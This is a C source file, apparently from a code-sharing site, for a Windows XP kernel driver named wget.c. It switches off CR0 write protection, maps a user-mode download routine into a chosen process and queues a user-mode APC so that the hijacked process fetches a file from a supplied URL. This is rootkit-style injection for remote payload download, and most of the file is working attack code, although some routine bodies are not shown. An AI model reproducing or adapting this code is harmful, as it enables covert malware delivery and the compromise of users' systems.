📄 wget.c
字号:
///
// uty@uaty
///
#include <ntddk.h>
#ifdef DBG
#define u_DbgPrint(_x_) \
DbgPrint _x_;
#else
#define u_DbgPrint(_x_)
#endif
//--------------------------------------------------------------------
typedef enum _KAPC_ENVIRONMENT{
OriginalApcEnvironment,
AttachedApcEnvironment,
CurrentApcEnvironment
}KAPC_ENVIRONMENT;
typedef struct _KAPC_STATE{
LIST_ENTRY ApcListHead[2];
PEPROCESS Process;
UCHAR KernelApcInProgress;
UCHAR KernelApcPending;
UCHAR UserApcPending;
}KAPC_STATE,*PKAPC_STATE;
typedef struct _wgetpArA{
PCHAR szURL;
PCHAR szFileNAme;
}WGETPARA,*PWGETPARA;
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PWGETPARA pPArA
);
VOID
WorkThreAd(
IN PVOID pContext
);
VOID
KernelApcCAllBAck(
PKAPC Apc,
PKNORMAL_ROUTINE *NormalRoutine,
PVOID *NormalContext,
PVOID *SystemArgument1,
PVOID *SystemArgument2
);
VOID
OnUnloAd(
IN PDRIVER_OBJECT DriverObject
);
BOOLEAN
find_threAd(
OUT ULONG *process,
OUT ULONG *threAd
);
UserWget(
PCHAR szURL,
PCHAR szFileNAme,
PVOID unused
);
UserWget_end(
VOID
);
BOOLEAN
CheckVersion(
VOID
);
/* Function prototypes for APCs */
VOID
KeInitializeApc(
PKAPC Apc,
PKTHREAD Thread,
CCHAR ApcStateIndex,
PKKERNEL_ROUTINE KernelRoutine,
PKRUNDOWN_ROUTINE RundownRoutine,
PKNORMAL_ROUTINE NormalRoutine,
KPROCESSOR_MODE ApcMode,
PVOID NormalContext
);
BOOLEAN
KeInsertQueueApc(
PKAPC Apc,
PVOID SystemArgument1,
PVOID SystemArgument2,
UCHAR unknown
);
/* Function prototypes for AttAch process */
NTKERNELAPI VOID
KeStackAttachProcess(
IN PEPROCESS Process,
OUT PKAPC_STATE ApcState
);
NTKERNELAPI VOID
KeUnstackDetachProcess(
IN PKAPC_STATE ApcState
);
//--------------------------------------------------------------------
static ULONG THREADLISTHEAD_OFFSET;
static ULONG THREADLISTENTRY_OFFSET;
static ULONG IMAGEFILENAME_OFFSET;
static ULONG ACTIVEPROCESSLINKS_OFFSET;
static ULONG USERAPCPENDING_OFFSET;
static ULONG TCB_TEB_OFFSET;
BOOLEAN
KWget(
PCHAR szURL,
PCHAR szFileNAme
)
{
PWGETPARA pPArA = NULL;
HANDLE hThreAd = NULL;
NTSTATUS dwStAtus;
if(strlen(szURL)+strlen(szFileNAme) > 98){ //two bytes for '\0'
DbgPrint("szURL And szFileNAme is too long,At most 100 bytes\n");
return FALSE;
}
pPArA = ExAllocatePool(PagedPool,sizeof(WGETPARA));
if(pPArA == NULL){
DbgPrint("ExAllocAtePool fAiled\n");
return FALSE;
}
pPArA->szURL = szURL;
pPArA->szFileNAme = szFileNAme;
if(FALSE == CheckVersion()){
DbgPrint("os version not supported\n");
return FALSE;
}
dwStAtus = PsCreateSystemThread(&hThreAd,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
WorkThreAd,
pPArA
);
if (!NT_SUCCESS(dwStAtus)){
DbgPrint("error when creAte the threAd\n");
ExFreePool(pPArA);
return FALSE;
}
return TRUE;
}
//--------------------------------------------------------------------
BOOLEAN
CheckVersion(
VOID
)
{
RTL_OSVERSIONINFOEXW osversion = {0};
osversion.dwOSVersionInfoSize = sizeof(RTL_OSVERSIONINFOEXW);
RtlGetVersion((RTL_OSVERSIONINFOW*)&osversion);
u_DbgPrint(("dwMAjorVersion: %d\n",osversion.dwMajorVersion));
u_DbgPrint(("dwMinorVersion: %d\n",osversion.dwMinorVersion));
u_DbgPrint(("dwBuildNumber: %d\n",osversion.dwBuildNumber));
u_DbgPrint(("wServicePAckMAjor: %d\n",osversion.wServicePackMajor));
u_DbgPrint(("wServicePAckMinor: %d\n",osversion.wServicePackMinor));
if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 1)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
else if( (osversion.dwMajorVersion == 5)
&& (osversion.dwMinorVersion == 1)
&& (osversion.wServicePackMajor == 2)
//&& (osversion.wServicePackMinor == 0)
)
{
THREADLISTHEAD_OFFSET = 0x190;
THREADLISTENTRY_OFFSET = 0x22c;//both ThreAdListEntry in ETHREAD KTHREAD works;
IMAGEFILENAME_OFFSET = 0x174;
ACTIVEPROCESSLINKS_OFFSET = 0x88;
USERAPCPENDING_OFFSET = 0x4A;
TCB_TEB_OFFSET = 0x20;
return TRUE;
}
return FALSE;
}
//PMDL pMdl = NULL;
VOID
WorkThreAd(
IN PVOID pContext
)
{
ULONG process,threAd;
PKEVENT pEvent = NULL;
PMDL pMdl = NULL;
PVOID MAppedAddress = NULL;
ULONG size;
KAPC_STATE ApcStAte;
PWGETPARA pPArA = NULL;
pPArA = (PWGETPARA)pContext;
if (!find_threAd(&process,&threAd)){
DbgPrint("cAnnot find the right threAd\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
pEvent = ExAllocatePool(NonPagedPool,sizeof(KEVENT));
if(!pEvent){
DbgPrint("ExAllocatePool(pEvent) fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
_asm
{
CLI //dissable interrupt
MOV EAX, CR0 //move CR0 register into EAX
AND EAX, NOT 10000H //disable WP bit
MOV CR0, EAX //write register back
}
memcpy((UCHAR*)UserWget_end,pPArA->szURL,strlen(pPArA->szURL));
memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL)),0,1);
memcpy((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1),pPArA->szFileNAme,strlen(pPArA->szFileNAme));
memset((UCHAR*)((ULONG)UserWget_end+strlen(pPArA->szURL) + 1 + strlen(pPArA->szFileNAme)),0,1);
_asm
{
MOV EAX, CR0 //move CR0 register into EAX
OR EAX, 10000H //enable WP bit
MOV CR0, EAX //write register back
STI //enable interrupt
}
size = (UCHAR*)UserWget_end - (UCHAR*)UserWget + 100;//最多100个字节的
u_DbgPrint(("size: %d\n",size));
pMdl = IoAllocateMdl(
UserWget,
size,
FALSE,
FALSE,
NULL
);
if(!pMdl){
ExFreePool (pEvent);
DbgPrint("IoAllocateMdl fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
__try{
MmProbeAndLockPages(
pMdl,
KernelMode,
IoWriteAccess
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmProbeAndLockPAges fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("process 0x%x\n",process));
KeStackAttachProcess((PEPROCESS)process,&ApcStAte);
__try{
MAppedAddress = MmMapLockedPagesSpecifyCache(
pMdl,
UserMode,
MmCached,
NULL,
FALSE,
NormalPagePriority
);
}
__except(EXCEPTION_EXECUTE_HANDLER){
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPagesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
u_DbgPrint(("MAppedAddress: 0x%x\n",MAppedAddress));
if (!MAppedAddress){
KeUnstackDetachProcess(&ApcStAte);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
ExFreePool(pEvent);
DbgPrint("MmMApLockedPAgesSpecifyCAche fAiled\n");
PsTerminateSystemThread(STATUS_SUCCESS);
}
//reuse his pPArAm,freed in APC->KernelRoutine
(ULONG)pPArA->szURL = (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget);
(ULONG)pPArA->szFileNAme = (ULONG)MAppedAddress + (ULONG)((UCHAR*)UserWget_end - (UCHAR*)UserWget) + strlen(pPArA->szURL) + 1 ;
KeUnstackDetachProcess(&ApcStAte);
KeInitializeEvent(pEvent,NotificationEvent,FALSE);
uSetTheApc(process,threAd,(ULONG)MAppedAddress,pEvent,pPArA);
KeWaitForSingleObject(
pEvent,
Executive,
KernelMode,
FALSE,
NULL
);
u_DbgPrint(("ok free pEvent pMdl now\n"));
ExFreePool(pEvent);
MmUnlockPages(pMdl);
IoFreeMdl(pMdl);
PsTerminateSystemThread(STATUS_SUCCESS);
DbgPrint("Never be here \n");
}
//--------------------------------------------------------------------
NTSTATUS
uSetTheApc(
ULONG process,
ULONG threAd,
ULONG MAppedAddress,
PKEVENT pEvent,
PWGETPARA pPArA
)
{
NTSTATUS dwStAtus = STATUS_SUCCESS;
PKAPC pkApc;
BOOLEAN bBool;
*((unsigned char *)threAd + USERAPCPENDING_OFFSET)=1; //////////////////////////////////////////////
//*((unsigned char *)threAd+0x164)=1; //both of them works :>
pkApc = ExAllocatePool(NonPagedPool,sizeof(KAPC));
if (pkApc == NULL){
DbgPrint("error:ExAllocAtePool\n");
return STATUS_INSUFFICIENT_RESOURCES;
}
u_DbgPrint(("szURL: 0x%x\n",pPArA->szURL));
KeInitializeApc(
pkApc,
(PKTHREAD)threAd,
OriginalApcEnvironment,
(PKKERNEL_ROUTINE)KernelApcCAllBAck,
NULL,
(PKNORMAL_ROUTINE)MAppedAddress,//UserApcCAllBAck,
UserMode,
(PVOID)pPArA
);
bBool = KeInsertQueueApc(pkApc,pEvent,0,0); //ticky
if(bBool == FALSE){
DbgPrint("error:KeInsertQueueApc\n");
}
return STATUS_SUCCESS;
}
//--------------------------------------------------------------------
VOID
KernelApcCAllBAck(
PKAPC Apc,
PKNORMAL_ROUTINE *NormAlRoutine,
IN OUT PVOID *NormAlContext,
IN OUT PVOID *SystemArgument1,
IN OUT PVOID *SystemArgument2
)
{
PKEVENT pEvent;
PWGETPARA pPArA;
u_DbgPrint(("NormAlContext: 0x%x\n",(ULONG)*NormAlContext));
pEvent = (PKEVENT)*SystemArgument1;
KeSetEvent(pEvent,IO_NO_INCREMENT,FALSE);
pPArA = (PWGETPARA)*NormAlContext;
*SystemArgument1 = (PVOID)pPArA->szFileNAme;
//*SystemArgument2 = (PVOID)pPArA->ulType;
*NormAlContext = (PVOID)pPArA->szURL;
u_DbgPrint(("SystemArgument1: 0x%x\n",(ULONG)*SystemArgument1));
//u_DbgPrint(("SystemArgument2: 0x%x\n",(ULONG)*SystemArgument2));
ExFreePool(pPArA);///free the pool AllocAted in KernelMessAgeBox
u_DbgPrint(("Freeing APC Object\n"));
ExFreePool(Apc); // free the kernel memory
}
//--------------------------------------------------------------------
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -